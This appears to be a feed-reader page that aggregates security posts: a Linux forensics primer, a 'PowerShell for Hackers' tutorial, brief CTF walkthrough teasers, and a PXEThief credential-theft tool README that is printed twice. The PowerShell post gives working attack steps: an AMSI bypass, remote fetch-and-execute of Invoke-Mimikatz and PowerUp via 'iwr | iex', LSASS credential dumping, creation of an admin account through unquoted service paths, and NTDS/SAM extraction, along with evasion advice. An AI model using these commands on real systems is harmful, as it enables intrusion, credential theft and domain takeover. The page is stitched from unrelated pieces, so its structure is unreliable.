โŒ

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Digital Forensics: An Introduction to Basic Linux Forensics

6 December 2025 at 10:14

Welcome back, aspiring forensic investigators.ย 

Linux is everywhere today. It runs web servers, powers many smartphones, and can even be found inside the infotainment systems of cars. A few reasons for its wide use are that Linux is open source, available in many different distributions, and can be tailored to run on both powerful servers and tiny embedded devices. It is lightweight, modular, and allows administrators to install only the pieces they need. Those qualities make Linux a core part of many organizations and of our daily digital lives. Attackers favour Linux as well. Besides being a common platform for their tools, many Linux hosts suffer from weak monitoring. Compromised machines are frequently used for reverse proxies, persistence, reconnaissance and other tasks, which increases the need for forensic attention. Linux itself is not inherently complex, but it can hide activity in many small places. In later articles we will dive deeper into what you can find on a Linux host during an investigation. Our goal across the series is to build a compact, reliable cheat sheet you can return to while handling an incident. The same approach applies to Windows investigations as well.

Today we will cover the basics of Linux forensics. For many incidents this level of detail will be enough to begin an investigation and perform initial response actions. Letโ€™s start.

OS & Accounts

OS Release Information

The first thing to check is the distribution and release information. Different Linux distributions use different defaults, package managers and filesystem layouts. Knowing which one you are examining helps you predict where evidence or configuration will live.ย 

bash> cat /etc/os-release

linux os release

Common distributions and their typical uses include Debian and Ubuntu, which are widely used on servers and desktops. They are stable and well documented. RHEL and CentOS are mainly in enterprise environments with long-term support. Fedora offers cutting-edge features, Arch is rolling releases for experienced users, Alpine is very small and popular in containers. Security builds such as Kali or Parrot have pentesting toolsets. Kali contains many offensive tools that hackers use and is also useful for incident response in some cases.

Hostname

Record the systemโ€™s hostname early and keep a running list of hostnames you encounter. Hostnames help you map an asset to network records, correlate logs across systems, identify which machine was involved in an event, and reduce ambiguity when combining evidence from several sources.

bash> cat /etc/hostname

bash> hostname

linux hostname

Timezone

Timezone information gives a useful hint about the likely operating hours of the device and can help align timestamps with other systems. You can read the configured timezone with:

bash> cat /etc/timezone

timezone on linux

User List

User accounts are central to persistence and lateral movement. Local accounts are recorded in /etc/passwd (account metadata and login shell) and /etc/shadow (hashed passwords and aging information). A malicious actor who wants persistent access may add an account or modify these files. To inspect the user list in a readable form, use:

bash> cat /etc/passwd | column -t -s :

listing users on linux

You can also list users who are allowed interactive shells by filtering the shell field:

bash> cat /etc/passwd | grep -i 'ash'

Groups

Groups control access to shared resources. Group membership can reveal privilege escalation or lateral access. Group definitions are stored in /etc/group. View them with:

bash> cat /etc/group

listing groups on linux

Sudoers List

Users who can use sudo can escalate privileges. The main configuration file is /etc/sudoers, but configuration snippets may also exist under /etc/sudoers.d. Review both locations:ย 

bash> ls -l /etc/sudoers.d/

bash> sudo cat /etc/sudoers

sudoers list on linux

Login Information

The /var/log directory holds login-related records. Two important binary files are wtmp and btmp. The first one records successful logins and logouts over time, while btmp records failed login attempts. These are binary files and must be inspected with tools such as last (for wtmp) and lastb (for btmp), for example:

bash> sudo last -f /var/log/wtmp

bash> sudo lastb -f /var/log/btmp

lastlog analysis on linux

System Configuration

Network Configuration

Network interface configuration can be stored in different places depending on the distribution and the network manager in use. On Debian-based systems you may see /etc/network/interfaces. For a quick look at configured interfaces, examine:

bash> cat /etc/network/interfaces

listing interfaces on linux

bash> ip a show

lisiting IPs and interfaces on linux

Active Network Connections

On a live system, active connections reveal current communications and can suggest where an attacker is connecting to or from. Traditional tools include netstat:

bash> netstat -natp

listng active network connections on linux

A modern alternative is ss -tulnp, which provides similar details and is usually available on newer systems.

Running Processes

Enumerating processes shows what is currently executing on the host and helps spot unexpected or malicious processes. Use ps for a snapshot or interactive tools for live inspection:

bash> ps aux

listing processes on linux

If available, top or htop give interactive views of CPU/memory and process trees.

DNS Information

DNS configuration is important because attackers sometimes alter name resolution to intercept or redirect traffic. Simple local overrides live in /etc/hosts. DNS server configuration is usually in /etc/resolv.conf. Often attackers might perform DNS poisoning or tampering to redirect victims to malicious services. Check the relevant files:

bash> cat /etc/hosts

hosts file analysis

bash> cat /etc/resolv.conf

resolv.conf file on linux

Persistence Methods

There are many common persistence techniques on Linux. Examine scheduled tasks, services, user startup files and systemd units carefully.

Cron Jobs

Cron is often used for legitimate scheduled tasks, but attackers commonly use it for persistence because itโ€™s simple and reliable. System-wide cron entries live in /etc/crontab, and individual service-style cron jobs can be placed under /etc/cron.d/. User crontabs are stored under /var/spool/cron/crontabs on many distributions. Listing system cron entries might look like:

bash> cat /etc/crontab

crontab analysis

bash> ls /etc/cron.d/

bash> ls /var/spool/cron/crontabs

listing cron jobs

Many malicious actors prefer cron because it does not require deep system knowledge. A simple entry that runs a script periodically is often enough.

Services

Services or daemons start automatically and run in the background. Modern distributions use systemd units which are typically found under /etc/systemd/system or /lib/systemd/system, while older SysV-style scripts live in /etc/init.d/. A quick check of service scripts and unit files can reveal backdoors or unexpected startup items:

bash> ls /etc/init.d/

bash> systemctl list-unit-files --type=service

bash> ls /etc/systemd/system

listing linux services

.Bashrc and Shell Startup Files

Per-user shell startup files such as ~/.bashrc, ~/.profile, or ~/.bash_profile can be modified to execute commands when an interactive shell starts. Attackers sometimes add small one-liners that re-establish connections or drop a backdoor when a user logs in. The downside for attackers is that these files only execute for interactive shells. Services and non-interactive processes will not source them, so they are not a universal persistence method. Still, review each userโ€™s shell startup files:

bash> cat ~/.bashrc

bash> cat ~/.profile

bashrc file on linux

Evidence of Execution

Linux can offer attackers a lot of stealth, as logging can be disabled, rotated, or manipulated. When the systemโ€™s logging is intact, many useful artifacts remain. When it is not, you must rely on other sources such as filesystem timestamps, process state, and memory captures.

Bash History

Most shells record commands to a history file such as ~/.bash_history. This file can show what commands were used interactively by a user, but it is not a guaranteed record, as users or attackers can clear it, change HISTFILE, or disable history entirely. Collect each userโ€™s history (including root) where available:

bash> cat ~/.bash_history

bash history

Tmux and other terminal multiplexers themselves normally donโ€™t provide a persistent command log. Commands executed in a tmux session run in normal shell processes. Whether those commands are saved depends on the tmux configurations.ย 

Commands Executed With Sudo

When a user runs commands with sudo, those events are typically logged in the authentication logs. You can grep for recorded COMMAND entries to see what privileged commands were executed:

bash> cat /var/log/auth.log* | grep -i COMMAND | less

Accessed Files With Vim

The Vim editor stores some local history and marks in a file named .viminfo in the userโ€™s home directory. That file can include command-line history, search patterns and other useful traces of editing activity:

bash> cat ~/.viminfo

accessed files by vim

Log Files

Syslog

If the system logging service (for example, rsyslog or journald) is enabled and not tampered with, the files under /var/log are often the richest source of chronological evidence. The system log (syslog) records messages from many subsystems and services. Because syslog can become large, systems rotate older logs into files such as syslog.1, syslog.2.gz, and so on. Use shell wildcards and standard text tools to search through rotated logs efficiently:

bash> cat /var/log/syslog* | head

linux syslog analysis

When reading syslog entries you will typically see a timestamp, the host name, the process producing the entry and a message. Look for unusual service failures, unexpected cron jobs running, or log entries from unknown processes.

Authentication Logs

Authentication activity, such as successful and failed logins, sudo attempts, SSH connections and PAM events are usually recorded in an authentication log such as /var/log/auth.log. Because these files can be large, use tools like grep, tail and less to focus on the relevant lines. For example, to find successful logins you run this:

bash> cat /var/log/auth.log | grep -ai accepted

auth log accepted password

Other Log Files

Many services keep their own logs under /var/log. Web servers, file-sharing services, mail daemons and other third-party software will have dedicated directories there. For example, Apache and Samba typically create subdirectories where you can inspect access and error logs:

bash> ls /var/log

bash> ls /var/log/apache2/

bash> ls /var/log/samba/

different linux log files

Conclusion

A steady, methodical sweep of the locations described above will give you a strong start in most Linux investigations. You start by verifying the OS, recording host metadata, enumerating users and groups, then you move to examining scheduled tasks and services, collecting relevant logs and history files. Always preserve evidence carefully and collect copies of volatile data when possible. In future articles we will expand on file system forensics, memory analysis and tools that make formal evidence collection and analysis easier.

PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover

8 October 2025 at 10:49

Welcome back hackers!

For quite an extensive period of time we have been covering different ways PowerShell can be used by hackers. We learned the basics of reconnaissance, persistence methods, survival techniques, evasion tricks, and mayhem methods. Today we are continuing our study of PowerShell and learning how we can automate it for real hacking tasks such as privilege escalation, AMSI bypass, and dumping credentials. As you can see, PowerShell may be used to exploit systems, although it was never created for this purpose. Our goal is to make it simple for you to automate exploitation during pentests. Things that are usually done manually can be automated with the help of the scripts we are going to cover. Letโ€™s start by learning about AMSI.

AMSI Bypass

Repo:

https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

AMSI is the Antimalware Scan Interface. It is a Windows feature that sits between script engines like PowerShell or Office macros and whatever antivirus or EDR product is installed on the machine. When a script or a payload is executed, the runtime hands that content to AMSI so the security product can scan it before anything dangerous runs. It makes scripts and memory activity visible to security tools, which raises the bar for simple script-based attacks and malware. Hackers constantly try to find ways to keep malicious content from ever being presented to it, or to change the content so it wonโ€™t match detection rules. You will see many articles and tools that claim to bypass AMSI, but soon after they are released, Microsoft patches the vulnerabilities. Since itโ€™s important to be familiar with this attack, letโ€™s test our system and try to patch AMSI.

First we need to check if the Defender is running on a Russian target:

PS > Get-WmiObject -Class Win32_Service -Filter โ€œName=โ€™WinDefendโ€™โ€

checking if the defender is running on windows

And it is. If it was off, we would not need any AMSI bypass and could jump straight to our explorations.

Patching AMSI

Next, we start patching AMSI with the help of our script, which you can find at the following link:

https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1

As you know by now, there are a few ways to execute scripts in PowerShell. We will use a basic one for demonstration purposes:

PS > .\shantanukhande-amsi.ps1

patching amsi with a powershell script

If your output matches ours, then AMSI has been successfully patched. From now on, the Defender does not have access to your PowerShell sessions and any kind of scripts can be executed in it without restriction. Itโ€™s important to mention that some articles on AMSI bypass will tell you that downgrading to PowerShell Version 2 helps to evade detection, but that is not true. At least not anymore. Defender actively monitors all of your sessions and these simple tricks will not work.

Dumping Credentials with Mimikatz

Repo:

http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1

Since you are free to run anything you want, we can execute Mimikatz right in our session. Note that we are using Invoke-Mimikatz.ps1 by g4uss47, and it is the updated PowerShell version of Mimikatz that actually works. For OPSEC reasons we do not recommend running Mimikatz commands that touch other hosts because network security products might pick this up. Instead, letโ€™s dump LSASS locally and inspect the results:

PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iexย ย 

PS > Invoke-Mimikatz -DumpCreds

dumping lsass with mimikatz powershell script Invoke-Mimikatz.ps1

Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. Thatโ€™s why we will cover this attack today with the help of PowerUp. Before we proceed, itโ€™s important to mention that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Letโ€™s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iexย ย 

PS > Get-UnquotedService

listing vulnerable unquoted services to privilege escalation

Now letโ€™s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

The results can be tested:

PS > net user john

abusing an unqouted service with the help of PowerUp.ps1

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

Repo:

https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper

With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then dump SAM and SYSTEM hives:

PS > .\ntds.ps1

dumping sam and system hives with ntds.ps1
listing sam and system hive dumps

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL

extracting creds from sam hive

Attacking NTDS on Domain Controllers

If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.

Connect to the DC:

c2 > evil-winrm -i DC -u admin -p password -s โ€˜/home/user/scripts/โ€™

Now you can execute your scripts:

PS > ntds.ps1

dumping NTDS with ntds.ps1 script

Evil-WinRM has a download command that can help you extract the files. After that, run this command:

bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

extracting creds from the ntds dump

Summary

In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

DogCat โ€“ Exploiting LFI and Docker Privilege Escalation -TryHackMe Walkthrough

By: Jo
21 September 2024 at 11:45
In this walkthrough, weโ€™ll explore the Dogcat room on TryHackMe, a box that features a Local File Inclusion (LFI) vulnerability and Docker privilege escalation. LFI allows us to read sensitive files from the system and eventually gain access to the server.There are a total of 4 flags in this machine which we need to find. [โ€ฆ]

PXEThief - Set Of Tooling That Can Extract Passwords From The Operating System Deployment Functionality In Microsoft Endpoint Configuration Manager

By: Unknown
3 January 2023 at 06:30


PXEThief is a set of tooling that implements attack paths discussed at the DEF CON 30 talk Pulling Passwords out of Configuration Manager (https://forum.defcon.org/node/241925) against the Operating System Deployment functionality in Microsoft Endpoint Configuration Manager (or ConfigMgr, still commonly known as SCCM). It allows for credential gathering from configured Network Access Accounts (https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts#network-access-account) and any Task Sequence Accounts or credentials stored within ConfigMgr Collectio n Variables that have been configured for the "All Unknown Computers" collection. These Active Directory accounts are commonly over permissioned and allow for privilege escalation to administrative access somewhere in the domain, at least in my personal experience.

Likely, the most serious attack that can be executed with this tooling would involve PXE-initiated deployment being supported for "All unknown computers" on a distribution point without a password, or with a weak password. The overpermissioning of ConfigMgr accounts exposed to OSD mentioned earlier can then allow for a full Active Directory attack chain to be executed with only network access to the target environment.


Usage Instructions

python pxethief.py -h 
pxethief.py 1 - Automatically identify and download encrypted media file using DHCP PXE boot request. Additionally, attempt exploitation of blank media password when auto_exploit_blank_password is set to 1 in 'settings.ini'
pxethief.py 2 <IP Address of DP Server> - Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
pxethief.py 3 <variables-file-name> <Password-guess> - Attempt to decrypt a saved media variables file (obtained from PXE, bootable or prestaged media) and retrieve sensitive data from MECM DP
pxethief.py 4 <variables-file-name> <policy-file-path> <password> - Attempt to decrypt a saved media variables file and Policy XML file retrieved from a stand-alone TS media
pxethief.py 5 <variables-file-name> - Print the hash corresponding to a specified media variables file for cracking in Hashcat
pxethief.py 6 <identityguid> <identitycert-file-name> - Retrieve task sequences using the values obtained from registry keys on a DP
pxethief.py 7 <Reserved1-value> - Decrypt stored PXE password from SCCM DP registry key (reg query HKLM\software\microsoft\sms\dp /v Reserved1)
pxethief.py 8 - Write new default 'settings.ini' file in PXEThief directory
pxethief.py 10 - Print Scapy interface table to identify interface indexes for use in 'settings.ini'
pxethief.py -h - Print PXEThief help text

pxethief.py 5 <variables-file-name> should be used to generate a 'hash' of a media variables file that can be used for password guessing attacks with the Hashcat module published at https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module.

Configuration Options

A file contained in the main PXEThief folder is used to set more static configuration options. These are as follows:

[SCAPY SETTINGS]
automatic_interface_selection_mode = 1
manual_interface_selection_by_id =

[HTTP CONNECTION SETTINGS]
use_proxy = 0
use_tls = 0

[GENERAL SETTINGS]
sccm_base_url =
auto_exploit_blank_password = 1

Scapy settings

  • automatic_interface_selection_mode will attempt to determine the best interface for Scapy to use automatically, for convenience. It does this using two main techniques. If set to 1 it will attempt to use the interface that can reach the machine's default GW as output interface. If set to 2, it will look for the first interface that it finds that has an IP address that is not an autoconfigure or localhost IP address. This will fail to select the appropriate interface in some scenarios, which is why you can force the use of a specific inteface with 'manual_interface_selection_by_id'.
  • manual_interface_selection_by_id allows you to specify the integer index of the interface you want Scapy to use. The ID to use in this file should be obtained from running pxethief.py 10.

General settings

  • sccm_base_url is useful for overriding the Management Point that the tooling will speak to. This is useful if DNS does not resolve (so the value read from the media variables file cannot be used) or if you have identified multiple Management Points and want to send your traffic to a specific one. This should be provided in the form of a base URL e.g. http://mp.configmgr.com instead of mp.configmgr.com or http://mp.configmgr.com/stuff.
  • auto_exploit_blank_password changes the behaviour of pxethief 1 to automatically attempt to exploit a non-password protected PXE Distribution Point. Setting this to 1 will enable auto exploitation, while setting it to 0 will print the tftp client string you should use to download the media variables file. Note that almost all of the time you will want this set to 1, since non-password protected PXE makes use of a binary key that is sent in the DHCP response that you receive when you ask the Distribution Point to perform a PXE boot.

HTTP Connection Settings

Not implemented in this release

Setup Instructions

  1. Create a new Windows VM
  2. Install Python (From https://www.python.org/ or through the store, both should work fine)
  3. Install all the requirements through pip (pip install -r requirements.txt)
  4. Install Npcap (https://npcap.com/#download) (or Wireshark, which comes bundled with it) for Scapy
  5. Bridge the VM to the network running a ConfigMgr Distribution Point set up for PXE/OSD
  6. If using pxethief.py 1 or pxethief.py 2 to identify and generate a media variables file, make sure the interface used by the tool is set to the correct one, if it is not correct, manually set it in 'settings.ini' by identifying the right index ID to use from pxethief.py 10

Limitations

  • Proxy support for HTTP requests - Currently only configurable in code. Proxy support can be enabled on line 35 of pxethief.py and the address of the proxy can be set on line 693. I am planning to move this feature to be configurable in 'settings.ini' in the next update to the code base
  • HTTPS and mutual TLS support - Not implemented at the moment. Can use an intercepting proxy to handle this though, which works well in my experience; to do this, you will need to configure a proxy as mentioned above
  • Linux support - PXEThief currently makes use of pywin32 in order to utilise some built-in Windows cryptography functions. This is not available on Linux, since the Windows cryptography APIs are not available on Linux :P The Scapy code in pxethief.py, however, is fully functional on Linux, but you will need to patch out (at least) the include of win32crypt to get it to run under Linux

Proof of Concept note

Expect to run into issues with error handling with this tool; there are subtle nuances with everything in ConfigMgr and while I have improved the error handling substantially in preparation for the tool's release, this is in no way complete. If there are edge cases that fail, make a detailed issue or fix it and make a pull request :) I'll review these to see where reasonable improvements can be made. Read the code/watch the talk and understand what is going on if you are going to run it in a production environment. Keep in mind the licensing terms - i.e. use of the tool is at your own risk.

Related work

Identifying and retrieving credentials from SCCM/MECM Task Sequences - In this post, I explain the entire flow of how ConfigMgr policies are found, downloaded and decrypted after a valid OSD certificate is obtained. I also want to highlight the first two references in this post as they show very interesting offensive SCCM research that is ongoing at the moment.

DEF CON 30 Slides - Link to the talk slides

Author Credit

Copyright (C) 2022 Christopher Panayi, MWR CyberSec



Pwned Vulnhub Walkthrough

By: Jo
16 November 2021 at 01:34
Pwned vulnhub challenge is an easy boot2root machine. One of the key take away from this machine is how you can escalate your privileges using Dockers. This blog post is about how I exploited this

Continue readingPwned Vulnhub Walkthrough

CVE attack

By: hoek
20 March 2021 at 07:20

Last week I was working on retried HTB machine Optimum. Cool example for simple enumeration with attack using vulnerability for service (web file server), and then privilege escalation using local exploit for unpatched Windows 2012 server. It is example of real case scenario. Great to make

PXEThief - Set Of Tooling That Can Extract Passwords From The Operating System Deployment Functionality In Microsoft Endpoint Configuration Manager

By: Unknown
3 January 2023 at 06:30


PXEThief is a set of tooling that implements attack paths discussed at the DEF CON 30 talk Pulling Passwords out of Configuration Manager (https://forum.defcon.org/node/241925) against the Operating System Deployment functionality in Microsoft Endpoint Configuration Manager (or ConfigMgr, still commonly known as SCCM). It allows for credential gathering from configured Network Access Accounts (https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts#network-access-account) and any Task Sequence Accounts or credentials stored within ConfigMgr Collectio n Variables that have been configured for the "All Unknown Computers" collection. These Active Directory accounts are commonly over permissioned and allow for privilege escalation to administrative access somewhere in the domain, at least in my personal experience.

Likely, the most serious attack that can be executed with this tooling would involve PXE-initiated deployment being supported for "All unknown computers" on a distribution point without a password, or with a weak password. The overpermissioning of ConfigMgr accounts exposed to OSD mentioned earlier can then allow for a full Active Directory attack chain to be executed with only network access to the target environment.


Usage Instructions

python pxethief.py -h 
pxethief.py 1 - Automatically identify and download encrypted media file using DHCP PXE boot request. Additionally, attempt exploitation of blank media password when auto_exploit_blank_password is set to 1 in 'settings.ini'
pxethief.py 2 <IP Address of DP Server> - Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
pxethief.py 3 <variables-file-name> <Password-guess> - Attempt to decrypt a saved media variables file (obtained from PXE, bootable or prestaged media) and retrieve sensitive data from MECM DP
pxethief.py 4 <variables-file-name> <policy-file-path> <password> - Attempt to decrypt a saved media variables file and Policy XML file retrieved from a stand-alone TS media
pxethief.py 5 <variables-file-name> - Print the hash corresponding to a specified media variables file for cracking in Hashcat
pxethief.py 6 <identityguid> <identitycert-file-name> - Retrieve task sequences using the values obtained from registry keys on a DP
pxethief.py 7 <Reserved1-value> - Decrypt stored PXE password from SCCM DP registry key (reg query HKLM\software\microsoft\sms\dp /v Reserved1)
pxethief.py 8 - Write new default 'settings.ini' file in PXEThief directory
pxethief.py 10 - Print Scapy interface table to identify interface indexes for use in 'settings.ini'
pxethief.py -h - Print PXEThief help text

pxethief.py 5 <variables-file-name> should be used to generate a 'hash' of a media variables file that can be used for password guessing attacks with the Hashcat module published at https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module.

Configuration Options

A file contained in the main PXEThief folder is used to set more static configuration options. These are as follows:

[SCAPY SETTINGS]
automatic_interface_selection_mode = 1
manual_interface_selection_by_id =

[HTTP CONNECTION SETTINGS]
use_proxy = 0
use_tls = 0

[GENERAL SETTINGS]
sccm_base_url =
auto_exploit_blank_password = 1

Scapy settings

  • automatic_interface_selection_mode will attempt to determine the best interface for Scapy to use automatically, for convenience. It does this using two main techniques. If set to 1 it will attempt to use the interface that can reach the machine's default GW as output interface. If set to 2, it will look for the first interface that it finds that has an IP address that is not an autoconfigure or localhost IP address. This will fail to select the appropriate interface in some scenarios, which is why you can force the use of a specific inteface with 'manual_interface_selection_by_id'.
  • manual_interface_selection_by_id allows you to specify the integer index of the interface you want Scapy to use. The ID to use in this file should be obtained from running pxethief.py 10.

General settings

  • sccm_base_url is useful for overriding the Management Point that the tooling will speak to. This is useful if DNS does not resolve (so the value read from the media variables file cannot be used) or if you have identified multiple Management Points and want to send your traffic to a specific one. This should be provided in the form of a base URL e.g. http://mp.configmgr.com instead of mp.configmgr.com or http://mp.configmgr.com/stuff.
  • auto_exploit_blank_password changes the behaviour of pxethief 1 to automatically attempt to exploit a non-password protected PXE Distribution Point. Setting this to 1 will enable auto exploitation, while setting it to 0 will print the tftp client string you should use to download the media variables file. Note that almost all of the time you will want this set to 1, since non-password protected PXE makes use of a binary key that is sent in the DHCP response that you receive when you ask the Distribution Point to perform a PXE boot.

HTTP Connection Settings

Not implemented in this release

Setup Instructions

  1. Create a new Windows VM
  2. Install Python (From https://www.python.org/ or through the store, both should work fine)
  3. Install all the requirements through pip (pip install -r requirements.txt)
  4. Install Npcap (https://npcap.com/#download) (or Wireshark, which comes bundled with it) for Scapy
  5. Bridge the VM to the network running a ConfigMgr Distribution Point set up for PXE/OSD
  6. If using pxethief.py 1 or pxethief.py 2 to identify and generate a media variables file, make sure the interface used by the tool is set to the correct one, if it is not correct, manually set it in 'settings.ini' by identifying the right index ID to use from pxethief.py 10

Limitations

  • Proxy support for HTTP requests - Currently only configurable in code. Proxy support can be enabled on line 35 of pxethief.py and the address of the proxy can be set on line 693. I am planning to move this feature to be configurable in 'settings.ini' in the next update to the code base
  • HTTPS and mutual TLS support - Not implemented at the moment. Can use an intercepting proxy to handle this though, which works well in my experience; to do this, you will need to configure a proxy as mentioned above
  • Linux support - PXEThief currently makes use of pywin32 in order to utilise some built-in Windows cryptography functions. This is not available on Linux, since the Windows cryptography APIs are not available on Linux :P The Scapy code in pxethief.py, however, is fully functional on Linux, but you will need to patch out (at least) the include of win32crypt to get it to run under Linux

Proof of Concept note

Expect to run into issues with error handling with this tool; there are subtle nuances with everything in ConfigMgr and while I have improved the error handling substantially in preparation for the tool's release, this is in no way complete. If there are edge cases that fail, make a detailed issue or fix it and make a pull request :) I'll review these to see where reasonable improvements can be made. Read the code/watch the talk and understand what is going on if you are going to run it in a production environment. Keep in mind the licensing terms - i.e. use of the tool is at your own risk.

Related work

Identifying and retrieving credentials from SCCM/MECM Task Sequences - In this post, I explain the entire flow of how ConfigMgr policies are found, downloaded and decrypted after a valid OSD certificate is obtained. I also want to highlight the first two references in this post as they show very interesting offensive SCCM research that is ongoing at the moment.

DEF CON 30 Slides - Link to the talk slides

Author Credit

Copyright (C) 2022 Christopher Panayi, MWR CyberSec



โŒ
โŒ